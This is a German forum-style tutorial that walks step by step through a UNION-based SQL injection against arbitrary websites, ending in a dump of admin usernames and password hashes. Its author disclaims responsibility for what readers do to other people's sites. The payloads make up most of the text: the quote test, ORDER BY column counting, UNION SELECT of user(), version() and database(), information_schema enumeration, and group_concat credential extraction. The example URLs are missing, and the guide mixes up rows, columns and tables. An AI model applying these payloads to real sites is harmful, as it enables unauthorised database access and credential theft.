Achtung: Ich übernehme in keinster Weise Verantwortung dafür wenn ihr durch diesen Guide bei irgentwelchen Seiten was anstellt.
1) Um zu prüfen ob eine Seite per SQL Injection angreifbar ist müsst ihr einen Link finden der so aussieht:
Quote:
=1
|
Die Seite braucht ganz einfach nur ein
= in den URL.
Bei der URL schreibt ihr noch ein
' dahinter, Bsp.:
Quote:
'
|
Wenn die Seite bzw. die Datenbank angreifbar ist, kriegt ihr eine MySQL Fehlermeldung so wie diese:
Quote:
|
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29
|
Wenn die Seite aber normal geladen wird, heißt das das die Seite nicht über diese Methode angreifbar ist.
2) Nun müssen wir rausfinden wie viele "Reihen" in der Datenbank sind, dafür benutzen wir den "order by" Command. Dafür schreiben wir einfach "order by 1--", "order by 2--" hinter die URL, und zwar solange bis ihr einen Seitenfehler erhaltet, Bsp. :
Quote:
order by 1--
order by 2--
order by 3--
order by 4--
order by 5--
|
Wenn wir beispielsweise bei "order by 5--" einen Fehler bekommen, heißt das, das die Datenbank, 4 "Reihen" hat.
3) Nun benutzen wir den "union" Command um zu sehen welchen Reihen angreifbar sind, dazu schreiben wir hinter die URL,
Quote:
|
union all select (Anzahl der Reihen)--,
|
Beispiel:
Quote:
union all select 1,2,3,4--
|
Wenn die Seite geladen hat, solltet ihr irgentwo auf der Seite Zahlen sehen, z.b. 2 und 3, das heißt, die Reihen 2 und 3 sind angreifbar.
4) Jetzt müssen wir die MySQL Version, User und Datenbank finden, das machen wir mit den folgenden Commands:
Quote:
user()
database()
version()
|
oder
Quote:
@@user
@@version
@@database
|
Das würde dann beispielsweise so aussehen:
Quote:
union all select 1,user(),version(),4--
|
Wenn die Seite geladen hatt sehen wir dann die Version, den MySQL User und den Namen der Datenbank.
5) Nun ist es unser Ziel alle Reihennamen zu erfahren, das machen wir mit dem folgenden Command:
Quote:
|
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
|
Die URL sieht dann so aus:
Quote:
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
|
table_name müsst ihr mit dem Namen der Reihe ersetzen die angreifbar ist.
6) Nun wollen wir die Tabellenamen haben, das machen wir mit folgenden Command:
Quote:
|
union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
|
Die URL sieht dann so aus:
Quote:
union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
|
7) Zu letzt wollen wir das die Seite den Inhalt ausspuckt, z.B. von "username" und "password" von "admin", dazu haben wir diesen Command:
Quote:
|
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
|
Die URL sieht dann so aus:
Quote:
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
|
Falls ihr alles richtig gemacht habt, solltet ihr die Daten des Admins sehen (je nach Seite kommt das PW in MD5 raus).
Ich hoffe euch hatt mein TuT gefallen.
Gruß Kia